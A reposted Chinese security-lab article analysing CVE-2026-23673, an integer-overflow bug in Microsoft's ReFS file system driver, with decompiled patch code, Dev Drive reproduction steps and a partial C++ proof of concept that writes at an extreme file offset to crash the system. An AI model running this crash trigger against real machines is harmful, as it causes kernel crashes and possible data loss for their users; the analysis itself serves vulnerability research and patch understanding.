文章总结: 文档分析CVE-2026-23673漏洞,涉及微软ReFS文件系统的越界读取问题。补丁通过新增整数溢出检查(StartOffset+Length==EndOffset)修复漏洞,攻击者可控制Length参数触发崩溃。复现需开启开发者模式创建ReFS格式磁盘,并运行特定POC代码进行验证。建议用户及时更新补丁避免系统风险。 综合评分: 85 文章分类: 漏洞分析,应急响应,安全工具,二进制安全,漏洞预警
CVE-2026-23673 ReFS 越界读分析
原创
毕方安全实验室 毕方安全实验室
BeFun安全实验室
2026年3月25日 16:23 四川
在小说阅读器读本章
去阅读
CVE-2026-23673 ReFS 越界读分析
微软3月修了一个ReFS的越界读取漏洞,(AI生成:ReFS (Resilient File System) 是微软推出的一种弹性文件系统,旨在最大限度地提高数据可用性、跨不同工作负载高效扩展到大型数据集,并提供数据完整性保护。它通常用于 Windows Server 平台以及 Windows 10/11 的高级版本(如工作站版、Dev Drive 等)。)
默认情况下的Windows 11不能直接创建refs格式的磁盘,需要开启开发者模式创建dev drive。
补丁
char __fastcall RefsCopyWriteA(
struct _FILE_OBJECT *FileObject,
__int64 *pOffset,
unsigned int Length,
__int64 a4,
int a5,
__int64 a6,
PIO_STATUS_BLOCK IoStatus)
{
__int64 StartOffset; // v9
__int64 EndOffset; // v10
unsigned int Len; // v11
if ( a6
&& ((StartOffset = *pOffset,
EndOffset = StartOffset + Length,
Len = Length,
!(unsigned int)Feature_2771350842__private_IsEnabledDeviceUsageNoInline())
|| StartOffset < 0
// 补丁新增的溢出校验:确保 StartOffset + Len == EndOffset 没有发生截断或溢出
|| StartOffset <= EndOffset && StartOffset + Len == EndOffset) )
{
return RefsCopyWriteInternal(FileObject, &StartOffset, a6, 0, IoStatus);
}
else
{
return 0; // 如果检测到溢出,直接拒绝执行
}
}
补丁新增的核心逻辑是:
StartOffset <= EndOffset && StartOffset + Len == EndOffset
这里Length是我们可以控制的,可以传一个很大的Length进而触发整数溢出:
1: kd> dq @rdx L1
ffff9808`8137be18 7fffffff`fffffff0
进而运行到nt!CcCopyWrite函数,此时的ULONG Length参数也是这个大数,引发崩溃。
复现步骤
Windows10/11下默认没开创建ReFS格式的VHD的功能,所以我们
先打开开发者模式:
然后创建一个dev drive:
最小是50G:
创建好以后就是ReFS格式:
然后初始化以后会自动挂载,然后poc(created by Gemini 3.1 Pro):
int main(int argc, char* argv[]) {
// 省略了一些代码以防止滥用
std::cout << "[+] Creating file: " << filePath << "\n";
HANDLE hFile = CreateFileA(filePath.c_str(), GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile == INVALID_HANDLE_VALUE) {
std::cout << "[-] Failed to create file: " << GetLastError() << "\n";
return 1;
}
std::cout << "[+] Initializing file to ensure it is cached...\n";
char buffer[4096];
memset(buffer, 'A', sizeof(buffer));
DWORD bytesWritten = 0;
// Normal write to ensure cache maps are set up
if (!WriteFile(hFile, buffer, 1024, &bytesWritten, NULL)) {
std::cout << "[-] Initial write failed: " << GetLastError() << "\n";
}
ULONGLONG offset = 0x7FFFFFFFFFFFFFF0ULL;
OVERLAPPED ov = { 0 };
ov.Offset = (DWORD)(offset & 0xFFFFFFFF);
ov.OffsetHigh = (DWORD)(offset >> 32);
// Write across the boundary
WriteFile(hFile, buffer, 0x200, &bytesWritten, &ov);
// Also try larger lengths
WriteFile(hFile, buffer, 0x1000, &bytesWritten, &ov);
}
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:BeFun安全实验室 毕方安全实验室 毕方安全实验室《CVE-2026-23673 ReFS 越界读分析》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。











评论